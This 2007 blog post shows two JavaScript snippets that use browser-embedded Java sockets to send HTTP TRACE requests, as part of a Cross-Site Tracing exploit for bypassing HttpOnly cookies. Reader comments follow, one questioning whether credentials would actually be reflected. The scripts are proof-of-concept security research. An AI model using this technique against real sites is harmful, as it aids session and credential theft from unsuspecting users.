Monday, April 30, 2007

Using Java from within browser's javascript to exploit web application vulnerabilities Part 1

Last weekend jeremiah showed me a code snippet where he was able to run TRACE method on a server using java from javascript. Though it was a little slow but it did the job. He asked me if there is a way to make it run faster. I did some work and using jdk1.4 API, I was able to get the job done a lot faster. I always knew that we can run java from javascript but it never crossed my mind that I can use it this way too. That is why, people like Jeremiah are so ahead in the game, because they have the ability to think differently.

In his post XST lives! (Bypassing HttpOnly) he has shown a proof of concept to exploit vulnerabilities in web applications.

The explanation here is (for the most part) the same as on his blog posting except for maybe a couple of extra points. But this exercise actually got me thinking and I want to make this a running thread and come up with more ideas of using java and javascript to figure out what else can be done.


Approach 1 (Traditional Approach using earlier versions of jdk)

Complete Code

var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr = new java.io.BufferedWriter(new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));
var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "\n"; }
alert(lines);
wr.close();
rd.close();
socket.close();

Step by Step explanation of the code

1. Get the url on the browser’s address bar

var l = document.location;

2. Get the host name.

var host =l.host.toString();

3. Set the port to 80. We can also determine the port from the location bar

var port = 80;

4. Get the IP address of the host given the host name. The host name can either be a machine name, such as "java.sun.com", or a textual representation of its IP address. If a literal IP address is supplied, only the validity of the address format is checked.

var addr = new java.net.InetAddress.getByName(host);

5. Java.net.Socket creates a stream socket and connects it to the specified port number at the specified IP address.

var socket = new java.net.Socket(addr,port);

6. Open an output stream to send the request data to the server.

var wr = new java.io.BufferedWriter(newjava.io.OutputStreamWriter(socket.getOutputStream(),"UTF8"));

7. Open an input stream to read the response data from the server.

var rd = new java.io.BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));

8. Send a trace request to the server.

wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");

9. Flush the output stream so that there is no data left in the buffer.

wr.flush();

10. Read the response from the server until the readLine returns null which means the response is completed.

var lines = "";
while ((str = rd.readLine()) != null){ lines += str + "\n"; }

11. Display the lines using javascript alert function

alert(lines);

12. Close the input and output stream

wr.close();
rd.close();

13. Close the socket

Socket.close();


Approach 2

In the traditional way (like the approach mentioned above), you'd ask for the socket's input and/or output streams. The newer approach is using Channels. This approach is available with jdk1.4 or newer. With a channel you write directly to the channel itself. Rather than writing byte arrays, you read and write ByteBuffer objects. By default, this will read at least one byte or return -1 to indicate the end of the data, exactly as an InputStream does but it will often read more bytes if more bytes are available to be read.

Complete Code
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);

var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));
var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);

client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

var buffer = java.nio.ByteBuffer.allocate(8000);
client.read(buffer);
alert(new java.lang.String(buffer.array()));



Step by step explanation


//Same as in above approach
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);

1. Create a SocketChannel

var client = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(host, port));

2. Create a java string object so that it can be converted to byte array.

var line = "TRACE / HTTP/1.1 \nHost: " + host + "\n\r\n";
var s1 = new java.lang.String(line);

3. Wrap the data into a ByteBuffer object. Send the buffer to the server.

client.write(java.nio.ByteBuffer.wrap(s1.getBytes()));

4. Allocate a ByteBuffer object to read the data from the server. The advantage of using ByteBuffer is that it will read more bytes at the same time instead of reading one byte at a time.

var buffer = java.nio.ByteBuffer.allocate(8000);

5. Read the data from the server. If the data is more then the allocated bytes then use a while loop

client.read(buffer);

6. Display the response using javascript alert function

alert(new java.lang.String(buffer.array()));

If there is more data then allocated (like 8000 bytes here). Use the following code snippet

while (client.read(buffer) != -1) {

buffer.flip( );

out.write(buffer);

buffer.clear( );

}


The difference between the first and the second approach is the first approach is slower then the second approach. The first approach, however, will be more compatible across OSes since it uses earlier versions of jdk whereas the newer approach might not.

I will publish other things soon which I found out while doing this exercise.

2 comments:

Rafa said...

Last week i visited you blog and it liked me. I found this post about using XST and javascript to obtain Basic, Dibgest credentials and bypass httponly cookie flag very interesting. I decided to do a proof of concept of your scripts. I done it with some changes but now i have a problem.
The TRACE request that makes the script is:
wr.write("TRACE / HTTP/1.1 \n");
wr.write("Host: " + host + "\n");
wr.write("\n\r");
This request doesn´t includes Authorization parameters therefore neither the server response. I mean that if auth credentials headers is out of reach of javascript, we cannot include them in the TRACE request that we send to the server. In consecuence, the TRACE response from the server will not include these Auth parameters.
You say that "As an additional benefit of XST, attackers can gain access to Basic, Digest, and NTLM Auth credentials located in HTTP request headers and typically out of reach of JavaScript." ¿How can it be possible? Maybe i am wrong or i´m missing something.

Cheers

Rudy Bayor said...

Is it possible to used a user defined Java class from within a javascript?